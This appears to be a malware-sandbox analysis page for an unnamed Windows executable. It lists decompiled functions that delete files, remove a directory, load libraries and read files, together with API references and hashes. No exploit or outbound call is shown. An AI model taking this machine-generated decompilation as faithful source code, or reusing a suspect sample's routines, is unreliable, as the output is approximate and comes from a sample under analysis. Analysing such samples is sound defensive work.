C-Code - Quality: 100%

			E00409218(long __eax, intOrPtr __edx, long _a4, long _a8) {
				intOrPtr _v8;
				long _t5;
				long _t9;
				void* _t10;
				void* _t13;
				void* _t15;
				void* _t16;

				_t5 = __eax;
				_v8 = __edx;
				_t9 = __eax;
				_t15 = _t10 - 1;
				if(_t15 < 0) {
					L10:
					return _t5;
				}
				_t16 = _t15 + 1;
				_t13 = 0;
				while(1) {
					_t19 = _t13 - 1;
					if(_t13 != 1) {
						__eflags = _t13 - 1;
						if(__eflags > 0) {
							Sleep(_a4);
						}
					} else {
						Sleep(_a8);
					}
					_t5 = E00408CD4(_t9, _v8, _t19); // executed
					if(_t5 != 0) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 2) {
						goto L10;
					}
					_t5 = GetLastError();
					if(_t5 == 3) {
						goto L10;
					}
					_t13 = _t13 + 1;
					_t16 = _t16 - 1;
					if(_t16 != 0) {
						continue;
					}
					goto L10;
				}
				goto L10;
			}

0x00409218
0x0040921f
0x00409222
0x00409226
0x00409229
0x00409277
0x00409277
0x00409277
0x0040922b
0x0040922c
0x0040922e
0x0040922e
0x00409231
0x0040923e
0x00409241
0x00409247
0x00409247
0x00409233
0x00409237
0x00409237
0x00409251
0x00409258
0x00000000
0x00000000
0x0040925a
0x00409262
0x00000000
0x00000000
0x00409264
0x0040926c
0x00000000
0x00000000
0x0040926e
0x0040926f
0x00409270
0x00000000
0x00000000
0x00000000
0x00409270
0x00000000

APIs

Sleep.KERNEL32(?,?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000), ref: 00409237
Sleep.KERNEL32(?,?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000), ref: 00409247
GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 0040925A
GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 00409264

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLastSleep
String ID:
API String ID: 1458359878-0
Opcode ID: 023cc54a606994318740f679cb8c53a5fd536adaa32b6584bbad262c3bed690b
Instruction ID: c8511b3f4ba19aadfd76f6bff8fe05ca1586462999e74820caf1f79c6a797df9
Opcode Fuzzy Hash: 023cc54a606994318740f679cb8c53a5fd536adaa32b6584bbad262c3bed690b
Instruction Fuzzy Hash: B2F02472A05114B7CF34A59F9985A6FB28CDAD136871048BFF945F3387C438CC0182AD

Uniqueness

Uniqueness Score: -1.00%

Function 00401FD4 Relevance: 3.1, APIs: 2, Instructions: 122
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlEnterCriticalSection.KERNEL32(0040C41C,00000000,00402148), ref: 00402017

Part of subcall function 00401918: RtlInitializeCriticalSection.KERNEL32(0040C41C,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040192E
Part of subcall function 00401918: RtlEnterCriticalSection.KERNEL32(0040C41C,0040C41C,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 00401941
Part of subcall function 00401918: LocalAlloc.KERNEL32(00000000,00000FF8,0040C41C,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 0040196B
Part of subcall function 00401918: RtlLeaveCriticalSection.KERNEL32(0040C41C,004019D5,00000000,004019CE,?,?,0040217A,021B03F0,?,00000000,?,?,00401B95,00401BAA,00401CEE), ref: 004019C8

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CriticalSection$Enter$AllocInitializeLeaveLocal
String ID:
API String ID: 296031713-0
Opcode ID: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction ID: b272be6629c35a549fc4f1c5a19e6e0df2414f51bb24a7fd7fb800939d1160d0
Opcode Fuzzy Hash: e41243de7c80276a36dcdd2c2c0e451bb1a6f3055e5ddec7aea90b49354f7273
Instruction Fuzzy Hash: D4419CB2A40711DFDB108F69DEC562A77A0FB58314B25837AD984B73E1D378A842CB48

Uniqueness

Uniqueness Score: -1.00%

Function 00408CD4 Relevance: 3.0, APIs: 2, Instructions: 42
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00408CD4(void* __eax, void* __edx, void* __eflags) {
				int _v8;
				char _v16;
				long _v20;
				int _t13;
				intOrPtr _t27;
				void* _t32;
				void* _t34;
				intOrPtr _t35;

				_t32 = _t34;
				_t35 = _t34 + 0xfffffff0;
				if(E00408C88(__eax,  &_v16) != 0) {
					_push(_t32);
					_push(0x408d31);
					_push( *[fs:eax]);
					 *[fs:eax] = _t35;
					_t13 = DeleteFileA(E00403414(__edx)); // executed
					_v8 = _t13;
					_v20 = GetLastError();
					_pop(_t27);
					 *[fs:eax] = _t27;
					_push(E00408D38);
					return E00408CC4( &_v16);
				} else {
					_v8 = 0;
					return _v8;
				}
			}

0x00408cd5
0x00408cd7
0x00408cec
0x00408cf7
0x00408cf8
0x00408cfd
0x00408d00
0x00408d0b
0x00408d10
0x00408d18
0x00408d1d
0x00408d20
0x00408d23
0x00408d30
0x00408cee
0x00408cf0
0x00408d49
0x00408d49

APIs

DeleteFileA.KERNEL32(00000000,00000000,00408D31,?,0000000D,00000000), ref: 00408D0B
GetLastError.KERNEL32(00000000,00000000,00408D31,?,0000000D,00000000), ref: 00408D13

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DeleteErrorFileLast
String ID:
API String ID: 2018770650-0
Opcode ID: 2501f15afbd59f2497c49c24aacc8a9750285929f352d7693ff018c20d99fc9d
Instruction ID: 48f93351e33ec4f9f257e6af690d6c0a59e0c5f39cf555c397a326a6c8c68ee5
Opcode Fuzzy Hash: 2501f15afbd59f2497c49c24aacc8a9750285929f352d7693ff018c20d99fc9d
Instruction Fuzzy Hash: 1CF0AF71A08208ABDB01DBB99D4149EB7A8EB483147504ABBF804F36C2EA385E0095A8

Uniqueness

Uniqueness Score: -1.00%

Function 00406DBC Relevance: 3.0, APIs: 2, Instructions: 33
libraryCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00406DBC(void* __eax, void* __ebx, int __edx) {
				struct HINSTANCE__* _v12;
				int _v16;
				int _t4;
				struct HINSTANCE__* _t9;
				void* _t12;
				intOrPtr _t16;
				void* _t18;
				void* _t19;
				intOrPtr _t20;

				_t18 = _t19;
				_t20 = _t19 + 0xfffffff4;
				_t12 = __eax;
				_t4 = SetErrorMode(__edx); // executed
				_v16 = _t4;
				_push(_t18);
				_push(0x406e2e);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				asm("fnstcw word [ebp-0x2]");
				_push(_t18);
				_push(0x406e10);
				_push( *[fs:eax]);
				 *[fs:eax] = _t20;
				_t9 = LoadLibraryA(E00403414(_t12)); // executed
				_v12 = _t9;
				_pop(_t16);
				 *[fs:eax] = _t16;
				_push(E00406E17);
				asm("fclex");
				asm("fldcw word [ebp-0x2]");
				return 0;
			}

0x00406dbd
0x00406dbf
0x00406dc3
0x00406dc6
0x00406dcb
0x00406dd0
0x00406dd1
0x00406dd6
0x00406dd9
0x00406ddc
0x00406de1
0x00406de2
0x00406de7
0x00406dea
0x00406df5
0x00406dfa
0x00406dff
0x00406e02
0x00406e05
0x00406e0a
0x00406e0c
0x00406e0f

APIs

SetErrorMode.KERNEL32(00008000), ref: 00406DC6
LoadLibraryA.KERNEL32(00000000,00000000,00406E10,?,00000000,00406E2E,?,00008000), ref: 00406DF5

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLibraryLoadMode
String ID:
API String ID: 2987862817-0
Opcode ID: 251b2fd3ba6bec6170c8d711a8cb694cee8c8fa7366fa3f44702449984966789
Instruction ID: 5d8b6b77538e68a4f612800dda8e4c610540b92f0493cf70fb698f1bd0f3a8db
Opcode Fuzzy Hash: 251b2fd3ba6bec6170c8d711a8cb694cee8c8fa7366fa3f44702449984966789
Instruction Fuzzy Hash: ACF082B4614704BEDB029FB6CC5282BBBADE78DB0475348B6F900A66D2E53D5C30D968

Uniqueness

Uniqueness Score: -1.00%

Function 00409F5F Relevance: 3.0, APIs: 2, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 94%

			E00409F5F(void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t1;
				int _t2;
				intOrPtr _t3;
				intOrPtr _t5;
				intOrPtr _t8;
				void* _t11;
				intOrPtr _t12;
				intOrPtr _t16;
				void* _t17;
				void* _t18;

				_t18 = __esi;
				_t17 = __edi;
				_t11 = __ebx;
				_t1 =  *0x40cdd8; // 0x0
				_t2 = E00402924(_t1);
				if( *0x40cde8 != 0) {
					_t16 =  *0x40cde8; // 0x21b2f88
					_t2 = E00409218(0, _t16, 0xfa, 0x32); // executed
				}
				if( *0x40cde4 != 0) {
					_t8 =  *0x40cde4; // 0x21b2ec4
					_t2 = RemoveDirectoryA(E00403414(_t8)); // executed
				}
				if( *0x40b240 != 0) {
					_t2 =  *0x40b240; // 0x2042c
					_push(_t2); // executed
					L00404534(); // executed
				}
				if( *0x40cdc8 != 0) {
					_t3 =  *0x40cdc8; // 0x0
					_t12 =  *0x40cdcc; // 0x1
					E0040357C(_t3, _t11, _t12, 0x408954, _t17, _t18);
					_t5 =  *0x40cdc8; // 0x0
					E004025AC(_t5);
					 *0x40cdc8 = 0;
					return 0;
				}
				return _t2;
			}

0x00409f5f
0x00409f5f
0x00409f5f
0x00409ed1
0x00409ed6
0x00409ee2
0x00409ef0
0x00409ef8
0x00409ef8
0x00409f04
0x00409f06
0x00409f11
0x00409f11
0x00409f1d
0x00409f1f
0x00409f24
0x00409f25
0x00409f25
0x00409f31
0x00409f33
0x00409f38
0x00409f43
0x00409f48
0x00409f4d
0x00409f54
0x00000000
0x00409f54
0x00409f59

APIs

RemoveDirectoryA.KERNEL32(00000000,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F11
73B09840.USER32(0002042C,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00400000,00000000), ref: 00409F25

Part of subcall function 00409218: Sleep.KERNEL32(?,?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000), ref: 00409237
Part of subcall function 00409218: GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 0040925A
Part of subcall function 00409218: GetLastError.KERNEL32(?,?,?,0000000D,?,00409EFD,000000FA,00000032,00409F64,0040A010,00409FFC,00000000,00000000,00000000,00000000,00000000), ref: 00409264

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$B09840DirectoryRemoveSleep
String ID:
API String ID: 295545733-0
Opcode ID: 5c37145d8cca6390eb17606d0469c12658fe9e292651615ea0a11198a0d1e05f
Instruction ID: 86b72a77181fdba84c8a41ff1e1c0a43dcc80b05120077e5a427e6cd6708a71a
Opcode Fuzzy Hash: 5c37145d8cca6390eb17606d0469c12658fe9e292651615ea0a11198a0d1e05f
Instruction Fuzzy Hash: 23F0C970610202DBD765EB69EED9B563AA4AF84305F00463BE100B62E2D77C9C81DA5D

Uniqueness

Uniqueness Score: -1.00%

Function 0040747C Relevance: 3.0, APIs: 2, Instructions: 30
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040747C(intOrPtr* __eax, void* __edx) {
				long _v16;
				long _v20;
				long _t8;
				long _t9;
				intOrPtr* _t11;

				asm("movsd");
				asm("movsd");
				_t11 = __eax;
				_t8 = SetFilePointer( *(__eax + 4), _v20,  &_v16, 0); // executed
				_t9 = _t8 + 1;
				if(_t9 == 0) {
					_t9 = GetLastError();
					if(_t9 != 0) {
						_t9 = E0040729C( *_t11);
					}
				}
				return _t9;
			}

0x00407487
0x00407488
0x00407489
0x0040749b
0x004074a0
0x004074a1
0x004074a3
0x004074aa
0x004074ae
0x004074ae
0x004074aa
0x004074b8

APIs

SetFilePointer.KERNEL32(?,?,?,00000000), ref: 0040749B
GetLastError.KERNEL32(?,?,?,00000000), ref: 004074A3

Part of subcall function 0040729C: GetLastError.KERNEL32(0040719C,0040733A,?,?,021B03CC,?,004099A5,00000001,00000000,00000002,00000000,00409F7C,?,00000000,00409FC6), ref: 0040729F

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 169b24ef2640c08601778b11a94e40ab324459ac5f51830493df14d65a1fbebf
Instruction ID: 9552bdc86cc108ae822706c51893dfc58bbb640de61c685b0d46ca26990e5d97
Opcode Fuzzy Hash: 169b24ef2640c08601778b11a94e40ab324459ac5f51830493df14d65a1fbebf
Instruction Fuzzy Hash: 42E092766082016BD600D95EDC81B9B37DCDFC5364F04413AB654EB2D2D675AC0087B6

Uniqueness

Uniqueness Score: -1.00%

Function 0040743C Relevance: 3.0, APIs: 2, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 79%

			E0040743C(intOrPtr* __eax, long __ecx, void* __edx) {
				long _v16;
				int _t7;
				intOrPtr* _t12;

				_push(__ecx);
				_t12 = __eax;
				_t7 = ReadFile( *(__eax + 4), __edx, __ecx,  &_v16, 0); // executed
				if(_t7 == 0 && ( *((char*)(_t12 + 8)) != 0 || GetLastError() != 0x6d)) {
					E0040729C( *_t12);
				}
				return _v16;
			}

0x0040743f
0x00407444
0x00407453
0x0040745a
0x0040746e
0x0040746e
0x0040747a

APIs

ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00407453
GetLastError.KERNEL32(?,?,?,?,00000000), ref: 00407462

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorFileLastRead
String ID:
API String ID: 1948546556-0
Opcode ID: 4c84914786814d375c7df0582e3333c69cc2b33e99adcffc1faed2f40f51f088
Instruction ID: 83f05ecfdf24a87f1b41e041b05bd9c7202fe80c0c1fd51eaa8a9206b621e634
Opcode Fuzzy Hash: 4c84914786814d375c7df0582e3333c69cc2b33e99adcffc1faed2f40f51f088
Instruction Fuzzy Hash: 02E092A1A081506AEB20966A9CC4F676BDCCBC5314F04407BF544DB282C678EC00837B

Uniqueness

Uniqueness Score: -1.00%

Function 004073D4 Relevance: 3.0, APIs: 2, Instructions: 24
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004073D4(intOrPtr* __eax, long* __edx) {
				long _t8;
				long* _t11;
				intOrPtr* _t13;

				_t11 = __edx;
				_t13 = __eax;
				 *(__edx + 4) = 0;
				_t8 = SetFilePointer( *(__eax + 4), 0, __edx + 4, 1); // executed
				 *_t11 = _t8;
				if( *_t11 == 0xffffffff) {
					_t8 = GetLastError();
					if(_t8 != 0) {
						return E0040729C( *_t13);
					}
				}
				return _t8;
			}

0x004073d6
0x004073d8
0x004073dc
0x004073eb
0x004073f0
0x004073f5
0x004073f7
0x004073fe
0x00000000
0x00407402
0x004073fe
0x00407409

APIs

SetFilePointer.KERNEL32(?,00000000,?,00000001), ref: 004073EB
GetLastError.KERNEL32(?,00000000,?,00000001), ref: 004073F7

Part of subcall function 0040729C: GetLastError.KERNEL32(0040719C,0040733A,?,?,021B03CC,?,004099A5,00000001,00000000,00000002,00000000,00409F7C,?,00000000,00409FC6), ref: 0040729F

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ErrorLast$FilePointer
String ID:
API String ID: 1156039329-0
Opcode ID: 17c6e6c40cc1673df71f6dbac71a09044ea5d2e60f34a749391102d1cab5a509
Instruction ID: 217decc83f4b597703ef417570f6aef3a04ee7e4d9e7e8ded3cc012445826751
Opcode Fuzzy Hash: 17c6e6c40cc1673df71f6dbac71a09044ea5d2e60f34a749391102d1cab5a509
Instruction Fuzzy Hash: 75E04FB16002109FDB11EEB5C881B5277D89F44368F0485B6F614DF2C7D274EC00C7A6

Uniqueness

Uniqueness Score: -1.00%

Function 00401430 Relevance: 2.5, APIs: 2, Instructions: 37
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401430(void* __eax, void** __edx) {
				void* _t3;
				void** _t8;
				void* _t11;
				long _t14;

				_t8 = __edx;
				if(__eax >= 0x100000) {
					_t14 = __eax + 0x0000ffff & 0xffff0000;
				} else {
					_t14 = 0x100000;
				}
				_t8[1] = _t14;
				_t3 = VirtualAlloc(0, _t14, 0x2000, 1); // executed
				_t11 = _t3;
				 *_t8 = _t11;
				if(_t11 != 0) {
					_t3 = E004012E4(0x40c43c, _t8);
					if(_t3 == 0) {
						VirtualFree( *_t8, 0, 0x8000);
						 *_t8 = 0;
						return 0;
					}
				}
				return _t3;
			}

0x00401433
0x0040143d
0x0040144c
0x0040143f
0x0040143f
0x0040143f
0x00401452
0x0040145f
0x00401464
0x00401466
0x0040146a
0x00401473
0x0040147a
0x00401486
0x0040148d
0x00000000
0x0040148d
0x0040147a
0x00401492

APIs

VirtualAlloc.KERNEL32(00000000,?,00002000,00000001,?,?,?,00401739), ref: 0040145F
VirtualFree.KERNEL32(00000000,00000000,00008000,00000000,?,00002000,00000001,?,?,?,00401739), ref: 00401486

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: c2c164bf1270d4a813d1c1f6386065a20bb20e5e17a0c6be31043b1a06862ade
Instruction ID: 29306f1da17679ce7d7d3cecb65679b0075e6f6f2ddca0a826851c871ac90975
Opcode Fuzzy Hash: c2c164bf1270d4a813d1c1f6386065a20bb20e5e17a0c6be31043b1a06862ade
Instruction Fuzzy Hash: 57F02772B0032057DB206A6A0CC1B636AC59F85B90F1541BBFA4CFF3F9D2B98C0042A9

Uniqueness

Uniqueness Score: -1.00%

Function 004051D0 Relevance: 1.6, APIs: 1, Instructions: 99
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004051D0(void* __ebx, void* __ecx, void* __edi, void* __esi) {
				signed int _v8;
				int _v12;
				char _v16;
				char _v20;
				void* _t76;
				void* _t77;
				intOrPtr _t103;
				void* _t106;
				void* _t107;
				void* _t109;
				void* _t110;
				void* _t113;

				_v16 = 0;
				_v20 = 0;
				_push(_t113);
				_push(0x405306);
				_push( *[fs:eax]);
				 *[fs:eax] = _t113 + 0xfffffff0;
				_v12 = GetSystemDefaultLCID();
				_t76 = 1;
				_t109 = 0x40c4bc;
				_t106 = 0x40c4ec;
				do {
					_t6 = _t76 + 0xffbf; // 0xffc0
					E00404C2C(_t6,  &_v20);
					_t8 = _t76 + 0x44; // 0x45
					E0040515C(_v12, _v20, _t8 - 1,  &_v16); // executed
					E004031E8(_t109, _t76, _v16, _t106, _t109);
					_t13 = _t76 + 0xffcf; // 0xffd0
					E00404C2C(_t13,  &_v20);
					_t15 = _t76 + 0x38; // 0x39
					E0040515C(_v12, _v20, _t15 - 1,  &_v16);
					E004031E8(_t106, _t76, _v16, _t106, _t109);
					_t76 = _t76 + 1;
					_t106 = _t106 + 4;
					_t109 = _t109 + 4;
				} while (_t76 != 0xd);
				_t77 = 1;
				_t110 = 0x40c51c;
				_t107 = 0x40c538;
				do {
					_t18 = _t77 + 5; // 0x6
					asm("cdq");
					_v8 = _t18 % 7;
					_t26 = _t77 + 0xffdf; // 0xffe0
					E00404C2C(_t26,  &_v20);
					E0040515C(_v12, _v20, _v8 + 0x31,  &_v16);
					E004031E8(_t110, _t77, _v16, _t107, _t110);
					_t33 = _t77 + 0xffe6; // 0xffe7
					E00404C2C(_t33,  &_v20);
					E0040515C(_v12, _v20, _v8 + 0x2a,  &_v16);
					E004031E8(_t107, _t77, _v16, _t107, _t110);
					_t77 = _t77 + 1;
					_t107 = _t107 + 4;
					_t110 = _t110 + 4;
				} while (_t77 != 8);
				_pop(_t103);
				 *[fs:eax] = _t103;
				_push(E0040530D);
				return E004031B8( &_v20, 2);
			}

0x004051db
0x004051de
0x004051e3
0x004051e4
0x004051e9
0x004051ec
0x004051f4
0x004051f7
0x004051fc
0x00405201
0x00405206
0x0040520d
0x00405213
0x0040521b
0x00405222
0x0040522c
0x00405238
0x0040523e
0x00405246
0x0040524d
0x00405257
0x0040525c
0x0040525d
0x00405260
0x00405263
0x00405268
0x0040526d
0x00405272
0x00405277
0x00405277
0x0040527f
0x00405282
0x0040528c
0x00405292
0x004052a3
0x004052ad
0x004052b9
0x004052bf
0x004052d0
0x004052da
0x004052df
0x004052e0
0x004052e3
0x004052e6
0x004052ed
0x004052f0
0x004052f3
0x00405305

APIs

GetSystemDefaultLCID.KERNEL32(00000000,00405306), ref: 004051EF

Part of subcall function 00404C2C: LoadStringA.USER32 ref: 00404C49

Part of subcall function 0040515C: GetLocaleInfoA.KERNEL32(?,00000044,?,00000100,0040C4BC,00000001,?,00405227,?,00000000,00405306), ref: 0040517A

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: DefaultInfoLoadLocaleStringSystem
String ID:
API String ID: 1658689577-0
Opcode ID: 9ea3c66d670cb0c44a2644de082ff92dfdb36693542507e19320d23b5394a13d
Instruction ID: c760dbbb10683706500036a577470844d35ac6ab0c013c9c95042e4326961867
Opcode Fuzzy Hash: 9ea3c66d670cb0c44a2644de082ff92dfdb36693542507e19320d23b5394a13d
Instruction Fuzzy Hash: 3B313D75E00119ABCB00EF95C8C19EEB779FF84304F158977E815BB285E739AE058B98

Uniqueness

Uniqueness Score: -1.00%

Function 004067A0 Relevance: 1.5, APIs: 1, Instructions: 44
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004067A0(char* __eax, void* __ecx, void* __edx, void* __eflags) {
				char* _t14;
				void* _t16;
				void* _t18;
				void* _t25;
				char* _t26;
				void* _t27;

				_t27 = __edx;
				_t26 = __eax;
				_t25 = E0040664C(__eax, __ecx, 1);
				_t18 = E004032F4(_t26);
				while(_t25 < _t18) {
					_t14 = CharPrevA(_t26,  &(_t26[_t18])); // executed
					_t16 =  *_t14 - 0x2f;
					if(_t16 == 0 || _t16 == 0x2d) {
						_t18 = _t18 - 1;
						continue;
					} else {
						break;
					}
				}
				if(_t18 != E004032F4(_t26)) {
					return E00403454(_t26, _t18, 1, _t27);
				}
				return E0040322C(_t27, _t26);
			}

0x004067a4
0x004067a6
0x004067b1
0x004067ba
0x004067bf
0x004067c8
0x004067cf
0x004067d1
0x004067be
0x00000000
0x00000000
0x00000000
0x00000000
0x004067d1
0x004067e0
0x00000000
0x004067f7
0x00000000

APIs

CharPrevA.USER32(00000000,00000000,?,?,?,00000000,00406826,00000000,0040684C,?,?,?,?,00000000,?,00406861), ref: 004067C8

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CharPrev
String ID:
API String ID: 122130370-0
Opcode ID: 897554f63ccbae32a680720dcc4028b54f9e609aa27ba82630df255f424f2303
Instruction ID: 9224fea829c25d098124f14b163f0f5d3056d9918534aaed3a7a3655efd609db
Opcode Fuzzy Hash: 897554f63ccbae32a680720dcc4028b54f9e609aa27ba82630df255f424f2303
Instruction Fuzzy Hash: 5DF0BE613009241BC6217A7F1CC15AFA78C8B8674D741007FF506EB382E93EAE27529E

Uniqueness

Uniqueness Score: -1.00%

Function 00407386 Relevance: 1.5, APIs: 1, Instructions: 30
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407386(void* __ecx, void* __edx, void* _a4, void* _a8) {
				void* _t20;

				_t20 = CreateFileA(E00403414(__edx),  *0x0040B158,  *0x0040B164, 0,  *0x0040B174, 0x80, 0); // executed
				return _t20;
			}

0x004073c8
0x004073d0

APIs

CreateFileA.KERNEL32(00000000,?,?,00000000,?,00000080,00000000), ref: 004073C8

Memory Dump Source

Source File: 00000000.00000002.341858734.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.341840728.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341883273.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.341899805.0000000000411000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
